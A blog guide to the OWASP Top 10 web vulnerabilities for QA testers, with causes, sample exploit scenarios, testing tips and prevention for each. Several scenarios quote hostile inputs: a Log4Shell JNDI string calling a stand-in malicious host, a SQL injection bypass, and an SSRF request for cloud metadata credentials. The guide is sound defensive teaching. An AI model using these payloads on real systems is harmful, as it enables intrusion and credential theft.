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OWASP Top 10 Vulnerabilities: A Guide for QA Testers

by Rajesh K | May 6, 2025 | Security Testing, Blog, Featured, Latest Post | 1 comment

Web applications are now at the core of business operations, from e-commerce and banking to healthcare and SaaS platforms. As industries increasingly rely on web apps to deliver value and engage users, the security stakes have never been higher. Cyberattacks targeting these applications are on the rise, often exploiting well-known and preventable vulnerabilities. The consequences can be devastating massive data breaches, system compromises, and reputational damage that can cripple even the most established organizations. Understanding these vulnerabilities is crucial, and this is where security testing plays a critical role. These risks, especially those highlighted in the OWASP Top 10 Vulnerabilities list, represent the most critical and widespread threats in the modern threat landscape. Testers play a vital role in identifying and mitigating them. By learning how these vulnerabilities work and how to test for them effectively, QA professionals can help ensure that applications are secure before they reach production, protecting both users and the organization.

In this blog, we’ll explore each of the OWASP Top 10 vulnerabilities and how QA testers can be proactive in identifying and addressing these risks to improve the overall security of web applications.

OWASP Top 10 Vulnerabilities :

• Broken Access Control
• Cryptographic Failures
• Injection
• Insecure Design
• Security Misconfiguration
• Vulnerable and Outdated Components
• Identification and Authentication Failures
• Software and Data Integrity Failures
• Security Logging and Monitoring Failures
• Server-Side Request Forgery (SSRF)

Broken Access Control

What is Broken Access Control?

Broken access control occurs when a web application fails to enforce proper restrictions on what authenticated users can do. This vulnerability allows attackers to access unauthorised data or perform restricted actions, such as viewing another user’s sensitive information, modifying data, or accessing admin-only functionalities.

Common Causes

• Lack of a “Deny by Default” Policy: Systems that don’t explicitly restrict access unless specified allow unintended access.
• Insecure Direct Object References (IDOR): Attackers manipulate identifiers (e.g., user IDs in URLs) to access others’ data.
• URL Tampering: Users alter URL parameters to bypass restrictions.
• Missing API Access Controls: APIs (e.g., POST, PUT, DELETE methods) lack proper authorization checks.
• Privilege Escalation: Users gain higher permissions, such as acting as administrators.
• CORS Misconfiguration: Incorrect Cross-Origin Resource Sharing settings expose APIs to untrusted domains.
• Force Browsing: Attackers access restricted pages by directly entering URLs.

Real‑World Exploit Example – Unauthorized Account Switch

• Scenario: A multi‑tenant SaaS platform exposes a “View Profile” link: https://app.example.com/profile?user_id=326 By simply changing 326 to 327, an attacker views another customer’s billing address and purchase history an Insecure Direct Object Reference (IDOR). The attacker iterates IDs, harvesting thousands of records in under an hour.
• Impact: PCI data is leaked, triggering GDPR fines and mandatory breach disclosure; churn spikes 6 % in the following quarter.
• Lesson: Every request must enforce server‑side permission checks; adopt randomized, non‑guessable IDs or UUIDs and automated penetration tests that iterate parameters.

QA Testing Focus – Verify Every Path to Every Resource

• Attempt horizontal and vertical privilege jumps with multiple roles.
• Use OWASP ZAP or Burp Suite repeater to tamper with IDs, cookies, and headers.
• Confirm “deny‑by‑default” is enforced in automated integration tests.

Prevention Strategies

• Implement “Deny by Default”: Restrict access to all resources unless explicitly allowed.
• Centralize Access Control: Use a single, reusable access control mechanism across the application.
• Enforce Ownership Rules: Ensure users can only access their own data.
• Configure CORS Properly: Limit API access to trusted origins.
• Hide Sensitive Files: Prevent public access to backups, metadata, or configuration files (e.g., .git).
• Log and Alert: Monitor access control failures and notify administrators of suspicious activity.
• Rate Limit APIs: Prevent brute-force attempts to exploit access controls.
• Invalidate Sessions: Ensure session IDs are destroyed after logout.
• Use Short-Lived JWTs: For stateless authentication, limit token validity periods.
• Test Regularly: Create unit and integration tests to verify access controls

Cryptographic Failures

What are Cryptographic Failures?

Cryptographic failures occur when sensitive data is not adequately protected due to missing, weak, or improperly implemented encryption. This exposes data like passwords, credit card numbers, or health records to attackers.

Common Causes

• Plain Text Transmission: Sending sensitive data over HTTP instead of HTTPS.
• Outdated Algorithms: Using weak encryption methods like MD5, SHA1, or TLS 1.0/1.1.
• Hard-Coded Secrets: Storing keys or passwords in source code.
• Weak Certificate Validation: Failing to verify server certificates, enabling man-in-the-middle attacks.
• Poor Randomness: Using low-entropy random number generators for encryption.
• Weak Password Hashing: Storing passwords with fast, unsalted hashes like SHA256.
• Leaking Error Messages: Exposing cryptographic details in error responses.
• Database-Only Encryption: Relying on automatic decryption in databases, vulnerable to injection attacks.

Real‑World Exploit Example – Wi‑Fi Sniffing Exposes Logins

• Scenario: A booking site still serves its login page over http:// for legacy browsers. On airport Wi‑Fi, an attacker runs Wireshark, captures plaintext credentials, and later logs in as the CFO.
• Impact: Travel budget data and stored credit‑card tokens are exfiltrated; attackers launch spear‑phishing emails using real itineraries.
• Lesson: Enforce HSTS, redirect all HTTP traffic to HTTPS, enable Perfect Forward Secrecy, and pin certificates in the mobile app.

QA Testing Focus – Inspect the Crypto Posture

• Run SSL Labs to flag deprecated ciphers and protocols.
• Confirm secrets aren’t hard‑coded in repos.
• Validate that password hashes use Argon2/Bcrypt with unique salts.

Prevention Strategies

• Use HTTPS with TLS 1.3: Ensure all data is encrypted in transit.
• Adopt Strong Algorithms: Use AES for encryption and bcrypt, Argon2, or scrypt for password hashing.
• Avoid Hard-Coding Secrets: Store keys in secure vaults or environment variables.
• Validate Certificates: Enforce strict certificate checks to prevent man-in-the-middle attacks.
• Use Secure Randomness: Employ cryptographically secure random number generators.
• Implement Authenticated Encryption: Combine encryption with integrity checks to detect tampering.
• Remove Unnecessary Data: Minimize sensitive data storage to reduce risk.
• Set Security Headers: Use HTTP Strict-Transport-Security (HSTS) to enforce HTTPS.
• Use Trusted Libraries: Avoid custom cryptographic implementations.

Injection

What is Injection?

Injection vulnerabilities arise when untrusted user input is directly included in commands or queries (e.g., SQL, OS commands) without proper validation or sanitization. This allows attackers to execute malicious code, steal data, or compromise the server.

Common Types

• SQL Injection: Manipulating database queries to access or modify data.
• Command Injection: Executing arbitrary system commands.
• NoSQL Injection: Exploiting NoSQL database queries.
• Cross-Site Scripting (XSS): Injecting malicious scripts into web pages.
• LDAP Injection: Altering LDAP queries to bypass authentication.
• Expression Language Injection: Manipulating server-side templates.

Common Causes

• Unvalidated Input: Failing to check user input from forms, URLs, or APIs.
• Dynamic Queries: Building queries with string concatenation instead of parameterization.
• Trusted Data Sources: Assuming data from cookies, headers, or URLs is safe.
• Lack of Sanitization: Not filtering dangerous characters (e.g., ‘, “, <, >).

Real‑World Exploit Example – Classic ‘1 = 1’ SQL Bypass

• Scenario: A “Search Users” API concatenates WHERE name = ‘ +  + ’. By posting ’ OR 1=1 –, the query returns every row.
• Impact: Full user table downloaded (4 million rows). Attackers sell data on the dark web within 48 hours.
• Lesson: Use parameterised queries or stored procedures, implement Web Application Firewall (WAF) rules for common payloads, and include automated negative‑test suites that inject SQL meta‑characters.

QA Testing Focus – Break It Before Hackers Do

• Fuzz every parameter with SQL meta‑characters (‘ ” ; — /*).
• Inspect API endpoints for parameterised queries.
• Ensure stored procedures or ORM layers are in place.

Prevention Strategies

• Use Parameterized Queries: Avoid string concatenation in SQL or command queries.
• Validate and Sanitize Input: Filter out dangerous characters and validate data types.
• Escape User Input: Apply context-specific escaping for HTML, JavaScript, or SQL.
• Use ORM Frameworks: Leverage Object-Relational Mapping tools to reduce injection risks.
• Implement Allow Lists: Restrict input to expected values.
• Limit Database Permissions: Use least-privilege accounts for database access.
• Enable WAF: Deploy a Web Application Firewall to detect and block injection attempts.

Insecure Design

What is Insecure Design?

Insecure design refers to flaws in the application’s architecture or requirements that cannot be fixed by coding alone. These vulnerabilities stem from inadequate security considerations during the design phase.

Common Causes

• Lack of Threat Modeling: Failing to identify potential attack vectors during design.
• Missing Security Requirements: Not defining security controls in specifications.
• Inadequate Input Validation: Designing systems that trust user input implicitly.
• Poor Access Control Models: Not planning for proper authorization mechanisms.

Real‑World Exploit Example – Trust‑All File Upload

• Scenario: A marketing CMS offers “Upload your brand assets.” It stores files to /uploads/ and renders them directly. An attacker uploads payload.php, then visits https://cms.example.com/uploads/payload.php, gaining a remote shell.
• Impact: Attackers deface landing pages, plant dropper malware, and steal S3 keys baked into environment variables.
• Lesson: Specify an allow‑list (PNG/JPG/PDF), store files outside the web root, scan uploads with ClamAV, and serve them via a CDN that disallows dynamic execution.

QA Testing Focus – Threat‑Model the Requirements

• Sit in design reviews and ask “What could go wrong?” for each feature.
• Build test cases for negative paths that exploit design assumptions.

Prevention Strategies

• Conduct Threat Modeling: Identify and prioritize risks during the design phase.
• Incorporate Security Requirements: Define controls for authentication, encryption, and access.
• Adopt Secure Design Patterns: Use frameworks with built-in security features.
• Perform Design Reviews: Validate security assumptions with peer reviews.
• Train Developers: Educate teams on secure design principles.

Security Misconfiguration

What is Security Misconfiguration?

Security misconfiguration occurs when systems, frameworks, or servers are improperly configured, exposing vulnerabilities like default credentials, exposed directories, or unnecessary features.

Common Causes

• Default Configurations: Using unchanged default settings or credentials.
• Exposed Debugging: Leaving debug modes enabled in production.
• Directory Listing: Allowing directory browsing on servers.
• Unpatched Systems: Failing to apply security updates.
• Misconfigured Permissions: Overly permissive file or cloud storage settings.

Real‑World Exploit Example – Exposed .git Directory

• Scenario: During a last‑minute hotfix, DevOps copy the repo to a test VM, forget to disable directory listing, and push it live. An attacker downloads /.git/, reconstructs the repo with git checkout, and finds .env containing production DB creds.
• Impact: Database wiped and ransom demand left in a single table; six‑hour outage costs $220 k in SLA penalties.
• Lesson: Automate hardening: block dot‑files, disable directory listing, scan infra with CIS benchmarks during CI/CD.

QA Testing Focus – Scan, Harden, Repeat

• Run Nessus or Nmap for open ports and default services.
• Validate security headers (HSTS, CSP) in responses.
• Verify debug and stack traces are disabled outside dev.

Prevention Strategies

• Harden Configurations: Disable unnecessary features and use secure defaults.
• Apply Security Headers: Use HSTS, Content-Security-Policy (CSP), and X-Frame-Options.
• Disable Directory Browsing: Prevent access to file listings.
• Patch Regularly: Keep systems and components updated.
• Audit Configurations: Use tools like Nessus to scan for misconfigurations.
• Use CI/CD Security Checks: Integrate configuration scans into pipelines.

Vulnerable and Outdated Components

What are Vulnerable and Outdated Components?

This risk involves using outdated or unpatched libraries, frameworks, or third-party services that contain known vulnerabilities.

Common Causes

• Unknown Component Versions: Lack of inventory for dependencies.
• Outdated Software: Using unsupported versions of servers, OS, or libraries.
• Delayed Patching: Infrequent updates expose systems to known exploits.
• Unmaintained Components: Relying on unsupported libraries.

Real‑World Exploit Example – Log4Shell Fallout

• Scenario: An internal microservice still runs Log4j 2.14.1. Attackers send a chat message containing ${jndi:ldap://malicious.com/a}; Log4j fetches and executes remote bytecode.
• Impact: Lateral movement compromises the Kubernetes cluster; crypto‑mining containers spawn across 100 nodes, burning $30 k in cloud credits in two days.
• Lesson: Enforce dependency scanning (OWASP Dependency‑Check, Snyk), maintain an SBOM, and patch within 24 hours of critical CVE release.

QA Testing Focus – Gatekeep the Supply Chain

• Integrate OWASP Dependency‑Check in CI.
• Block builds if high‑severity CVEs are detected.
• Retest core workflows after each library upgrade.

Prevention Strategies

• Maintain an Inventory: Track all components and their versions.
• Automate Scans: Use tools like OWASP Dependency Check or retire.js.
• Subscribe to Alerts: Monitor CVE and NVD databases for vulnerabilities.
• Remove Unused Components: Eliminate unnecessary libraries or services.
• Use Trusted Sources: Download components from official, signed repositories.
• Monitor Lifecycle: Replace unmaintained components with supported alternatives.

Identification and Authentication Failures

What are Identification and Authentication Failures?

These vulnerabilities occur when authentication or session management mechanisms are weak, allowing attackers to steal accounts, bypass authentication, or hijack sessions.

Common Causes

• Credential Stuffing: Allowing automated login attempts with stolen credentials.
• Weak Passwords: Permitting default or easily guessable passwords.
• No MFA: Lack of multi-factor authentication.
• Session ID Exposure: Including session IDs in URLs.
• Poor Session Management: Reusing session IDs or not invalidating sessions.

Real‑World Exploit Example – Session Token in URL

• Scenario: A legacy e‑commerce flow appends JSESSIONID to URLs so bookmarking still works. Search‑engine crawlers log the links; attackers scrape access.log and reuse valid sessions.
• Impact: 205  premium accounts hijacked, loyalty points redeemed for gift cards.
• Lesson: Store session IDs in secure, HTTP‑only cookies; disable URL rewriting; rotate tokens on login, privilege change, and logout.

QA Testing Focus – Stress‑Test the Auth Layer

• Launch brute‑force scripts to ensure rate limiting and lockouts.
• Check that MFA is mandatory for admins.
• Verify session IDs rotate on privilege change and logout.

Prevention Strategies

• Enable MFA: Require multi-factor authentication for sensitive actions.
• Enforce Strong Passwords: Block weak passwords using deny lists.
• Limit Login Attempts: Add delays or rate limits to prevent brute-force attacks.
• Use Secure Session Management: Generate random session IDs and invalidate sessions after logout.
• Log Suspicious Activity: Monitor and alert on unusual login patterns.

Software and Data Integrity Failures

What are Software and Data Integrity Failures?

These occur when applications trust unverified code, data, or updates, allowing attackers to inject malicious code via insecure CI/CD pipelines or dependencies.

Common Causes

• Untrusted Sources: Using unsigned updates or libraries.
• Insecure CI/CD Pipelines: Poor access controls or lack of segregation.
• Unvalidated Serialized Data: Accepting manipulated data from clients.

Real‑World Exploit Example – Poisoned NPM Dependency

• Scenario: Dev adds [email protected], which secretly posts process.env to a pastebin during the build. No integrity hash or package signature is checked.
• Impact: Production JWT signing key leaks; attackers mint tokens and access customer PII.
• Lesson: Enable NPM’s –ignore-scripts, mandate Sigstore or Subresource Integrity (SRI), and run static analysis on transitive dependencies.

QA Testing Focus – Validate Build Integrity

• Confirm SHA‑256/Sigstore verification of artifacts.
• Ensure pipeline credentials use least privilege and are rotated.
• Simulate rollback to known‑good releases.

Prevention Strategies

• Use Digital Signatures: Verify the integrity of updates and code.
• Vet Repositories: Source libraries from trusted, secure repositories.
• Secure CI/CD: Enforce access controls and audit logs.
• Scan Dependencies: Use tools like OWASP Dependency Check.
• Review Changes: Implement strict code and configuration reviews.

Security Logging and Monitoring Failures

What are Security Logging and Monitoring Failures?

These occur when applications fail to log, monitor, or respond to security events, delaying breach detection.

Common Causes

• No Logging: Failing to record critical events like logins or access failures.
• Incomplete Logs: Missing context like IPs or timestamps.
• Local-Only Logs: Storing logs without centralized, secure storage.
• No Alerts: Lack of notifications for suspicious activity.

Real‑World Exploit Example – Silent SQLi in Production

• Scenario: The booking API swallows DB errors and returns a generic “Oops.” Attackers iterate blind SQLi, dumping the schema over weeks without detection. Fraud only surfaces when the payment processor flags unusual card‑not‑present spikes.
• Impact: 140 k cards compromised; regulator imposes $1.2 M fine.
• Lesson: Log all auth, DB, and application errors with unique IDs; forward to a SIEM with anomaly detection; test alerting playbooks quarterly.

QA Testing Focus – Prove You Can Detect and Respond

• Trigger failed logins and verify entries hit the SIEM.
• Check logs include IP, timestamp, user ID, and action.
• Validate alerts escalate within agreed SLAs.

Prevention Strategies

• Log Critical Events: Capture logins, failures, and sensitive actions.
• Use Proper Formats: Ensure logs are compatible with tools like ELK Stack.
• Sanitize Logs: Prevent log injection attacks.
• Enable Audit Trails: Use tamper-proof logs for sensitive actions.
• Implement Alerts: Set thresholds for incident escalation.
• Store Logs Securely: Retain logs for forensic analysis.

Server-Side Request Forgery (SSRF)

What is SSRF?

SSRF occurs when an application fetches a user-supplied URL without validation, allowing attackers to send unauthorized requests to internal systems.

Common Causes

• Unvalidated URLs: Accepting raw user input for server-side requests.
• Lack of Segmentation: Internal and external requests share the same network.
• HTTP Redirects: Allowing unverified redirects in fetches.

Real‑World Exploit Example – Metadata IP Hit

• Scenario: An image‑proxy microservice fetches URLs supplied by users. An attacker requests http://169.254.169.254/latest/meta-data/iam/security-credentials/. The service dutifully returns IAM temporary credentials.
• Impact: With the stolen keys, attackers snapshot production RDS instances and exfiltrate them to another region.
• Lesson: Add an allow‑list of outbound domains, block internal IP ranges at the network layer, and use SSRF‑mitigating libraries.

QA Testing Focus – Pen‑Test the Fetch Function

• Attempt requests to internal IP ranges and cloud metadata endpoints.
• Confirm only allow‑listed schemes (https) and domains are permitted.
• Validate outbound traffic rules at the firewall.

Prevention Strategies

• Validate URLs: Use allow lists for schema, host, and port.
• Segment Networks: Isolate internal services from public access.
• Disable Redirects: Block HTTP redirects in server-side fetches.
• Monitor Firewalls: Log and analyse firewall activity.
• Avoid Metadata Exposure: Protect endpoints like 169.254.169.254.

Conclusion

The OWASP Top Ten highlights the most critical web application security risks, from broken access control to SSRF. For QA professionals, understanding these vulnerabilities is essential to ensuring secure software. By incorporating robust testing strategies, such as automated scans, penetration testing, and configuration audits, QA teams can identify and mitigate these risks early in the development lifecycle. To excel in this domain, QA professionals should stay updated on evolving threats, leverage tools like Burp Suite, OWASP ZAP, and Nessus, and advocate for secure development practices. By mastering the OWASP Top Ten, you can position yourself as a valuable asset in delivering secure, high-quality web applications.

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